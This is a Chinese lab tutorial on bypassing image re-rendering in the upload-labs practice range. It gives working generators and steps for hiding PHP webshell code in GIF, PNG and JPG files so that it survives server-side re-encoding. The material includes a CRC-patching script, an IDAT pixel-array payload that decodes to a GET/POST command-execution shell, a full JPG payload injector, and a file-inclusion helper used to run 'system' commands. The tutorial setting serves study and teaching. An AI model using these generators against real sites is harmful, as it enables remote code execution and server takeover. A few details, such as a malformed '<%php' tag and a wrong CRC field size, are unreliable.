一、实验目的:
1、通过实验学习二次渲染原理的成因。 2、通过搭建漏洞环境,学习绕过技巧。
二、漏洞说明:
1.?二次渲染原理:
? ? 在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。
2.?绕过:
1、配合文件包含漏洞: ??将一句话木马插入到网站二次处理后的图片中,也就是把一句话插入图片在二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话,在配合文件包含漏洞获取webshell。 2、可以配合条件竞争: ??这里二次渲染的逻辑存在漏洞,先将文件上传,之后再判断,符合就保存,不符合删除,可利用条件竞争来进行爆破上传 ??点我进入条件竞争漏洞
3.?如何判断图片是否进行了二次处理?
对比要上传图片与上传后的图片大小,编辑器打开图片查看上传后保留了拿些数据
三、工具:
火狐/谷歌浏览器 010 Editor16进制编辑器
点我下载010 Editor16进制编辑器
四、实验环境:
靶?机: windows10虚拟机:192.168.100.150 ??????upload-labs-master 闯关游戏 ??????phpstudy2013 搭建网站 攻击机: 物理机
五、准备环境:
1、在upload-labs-master 闯关游戏upload 目录下创建一个文件包含脚本include_image.php : 注:主要是通过这个include_image.php 文件包含图片马,把图片马解析为php脚本 文件。
内容:
<%php
$file=$_GET['file'];
include $file;
%>
六、页面源码:
页面源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
$newimagepath = UPLOAD_PATH.$newfilename;
imagejpeg($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.$newfilename;
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
$newimagepath = UPLOAD_PATH.$newfilename;
imagepng($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.$newfilename;
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
$newimagepath = UPLOAD_PATH.$newfilename;
imagegif($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.$newfilename;
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
七、GIF绕过:
1、创建一个a.php 的脚本文件: 内容:
<?php phpinfo(); ?>
2、在cmd命令行 中,使用以下命令把1.gif 和a.php 合成图片马2.gif : 命令:
copy 1.gif /b + a.php /a 2.gif:
3、使用010 Editor16进制编辑器 查看2.gif 内容,可以看出php代码 已经插入图片马 中了:
4、上传图片马,并复制图片链接进行查看:
5、右击复制图片,将图片下载到本地:
6、使用010 Editor16进制编辑器 打开图片,发现末尾的php代码 没有了:
GIF 绕过二次渲染的方法,就是通过对比上传前和上传后的两个文件,如果说哪个位置,它的上传前和上传后的没有变,我们就把php一句话代码插入到这个位置。
7、使用010 Editor16进制编辑器 打开上传前的文件和上传后的文件,并对文件进行比较:
8、过观察,发现蓝色部分就是没有改变的地方:
我们最开始通过cmd命令 制作的gif图片马 ,在我们上传过后,经过二次渲染 生成的gif ,通过对这两个文件进行对比,发现蓝色部分数据没有变化 ,我们就可以在没有改变的地方,也就是蓝色部分,插入我们的恶意代码。 9、在数据没有变化的地方插入php代码 ,并对这个文件进行保存:
10、使用修改后的文件重新进行上传:
11、图片下载到本地,查看php代码 是否存在,通过查看我们的PHP代码 发现未被过滤:
八、PNG绕过:
1.?png图片组成:
??png图片 由3个以上 的数据块 组成。 ??PNG 定义了两种类型 的数据块 ,一种是称为关键数据块(critical chunk) ,这是标准的数据块 ,另一种叫做辅助数据块(ancillary chunks) ,这是可选的数据块 。 ??关键数据块 定义了3个标准数据块(IHDR,IDAT, IEND) ,每个PNG文件 都必须包含它们。
1.1?数据块结构:
字 段 名 | 大小(单位:字节) | 描 述 |
---|
Length(长度) | 4 | 指定数据块中的数据长度 | Chunk Type Code(数据块类型码) | 4 | 数据块类型,例如:IHDR、PLTE、IDAT等 | Chunk Data(数据块数据) | Length | 存储数据 | CRC(循环冗余检测) | 24 | 循环冗余码 |
CRC(cyclic redundancy check)域 中的值是对Chunk Type Code域 和Chunk Data域 中的数据进行计算得到的。CRC 具体算法定义在ISO 3309 和ITU-T V.42 中,其值按下面的CRC码生成多项式进行计算: x32+x26+x23+x22+x16+x12+x11+x10+x8+x7+x5+x4+x2+x+1
1.2?分析数据块:
1.2.1?IHDR:
??数据块IHDR(header chunk) :它包含有PNG文件 中存储的图像数据的基本信息 ,并要作为第一个数据块出现在PNG数据流 中,而且一个PNG数据流 中只能有一个文件头数据块 。
文件头数据块由13字节组成,它的格式如下表所示:
字段名 | 大小(单位:字节) | 描 述 |
---|
Width | 4 | 图像宽度,以像素为单位 | Height | 4 | 图像宽度,以像素为单位 | Bit depth | 1 | 图像深度:索引彩色图像:1,2,4或8灰度图像:1,2,4,8或16真彩色图像:8或16 | Color Type | 1 | 颜色类型:0:灰度图像,1,2,4,8或162:真彩色图像,8或163:索引彩色图像,1,2,4或84:带α通道数据的灰度图像,8或166:带α通道数据的真彩色图像,8或16 | Compression method | 1 | 压缩方法(LZ77变种算法) | Filter method | 1 | 滤波器方法 | Interlace method | 1 | 隔行扫描方法:0:非隔行扫描1: Adam7(由Adam M.Costello开发的7遍隔行扫描方法) |
1.2.2?PLTE:
??调色板PLTE数据块 是辅助数据块,对于索引图像,调色板信息是必须的,调色板的颜色索引从0 开始编号,然后是1、2…… ,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16) ,否则,这将导致PNG图像不合法。
1.2.3?IDAT:
??图像数据块IDAT(image data chunk) :它存储实际的数据 ,在数据流中可包含多个连续顺序的图像数据块 。 ??IDAT 存放着图像真正的数据信息,因此,如果能够了解IDAT 的结构,我们就可以很方便的生成PNG图像 。
1.2.4?IEND:
??图像结束数据IEND(image trailer chunk) :它用来标记PNG文件或者数据流已经结束 ,并且必须要放在文件的尾部 。如果我们仔细观察PNG文件 ,我们会发现,文件的结尾12个字符 看起来总应该是这样的: ??00 00 00 00 49 45 4E 44 AE 42 60 82
2.?在PNG图片中写入php代码的几种方式:
2.1?在PLTE数据块写入php代码.:
??php底层 在对PLTE数据块 验证的时候,主要进行了CRC校验 。所以可以在chunk data域 插入php代码 ,然后重新计算相应的crc值 并修改即可。 ??这种方式只针对索引彩色图像的png图片才有效 ,在选取png图片 时可根据IHDR数据块 的color type 辨别03 为索引彩色图像。
1、查看png图片 的IHDR数据块 的color type 是否为03 ,下图可以看出26.png 的color type 索引为03 ,是索引彩色图像:
2、在PLTE数据块写入php代码,并保存:
3、在和26.png的同一个目录下创建一个crc.py的脚本文件: 内容:
import binascii
import re
png = open(r'26.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)
''' PLTE crc '''
data = '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)
4、计算PLTE数据块 的CRC : 命令:
python2 CRC.py
可以得出PLTE数据块 的CRC的值 为:6c 18 e5 8f ,不需要前面的0x 和后面的L :
0x6c18e58fL
# 0x开始表示这一串数字是以16进制表示的
# L代表这是一个长整形的数
参考文章
5、修改PLTE数据块 的CRC值 :
注:可以先搜索tRNS ,因为PLTE数据块 的CRC的值 的属性就在tRNS块 的前面:
6、把使用python脚本 计算出的PLTE数据块 的CRC的值 替换掉上图红框框中的值,并保存:
7、上传26.png 文件到服务器中,并进行访问:
8、将图片下载到本地,查看插入的代码是否还在:
9、可以看出,php代码 没有被过滤:
2.2?使用php脚本写入IDAT数据块:
1、创建一个IDAT_png.php (通过这个脚本生成一个绕过渲染的图片马): 脚本内容:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
2、使用IDAT_png.php 脚本生成1.png 的图片马: 命令:
php IDAT_png.php 26.png
3、上传1.png 图片马到服务器: 4、可以访问成功:
5、下载图片马到本地,并进行查看代码:
图片马里面的代码为:
<?$_GET[0]($_POST[1]);?>
6、通过下面的方式执行命令(这里结合文件包含): get 传参0=system 加上 post 传参1=whoami
九、JPG绕过:
1、创建一个jpg_payload.php 脚本(用于生成绕过二次渲染的图片马): 注:由于jpg图片易损,对图片的选取有很大关系,很容易制作失败,需要多选取几张图片进行生成。 脚本内容:
<?php
$miniPayload = "<?=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
2、使用上面创建的脚本生成一个图片马: 命令:
php jpg_payload.php a.jpg
3、使用16进制编辑器打开,就可以看到插入的php代码:
4、上传图片马payload_a.jpg 到服务器,并查看:
5、下载图片马到本地,并使用16进制编辑器打开查看php代码,发现没有被过滤:
|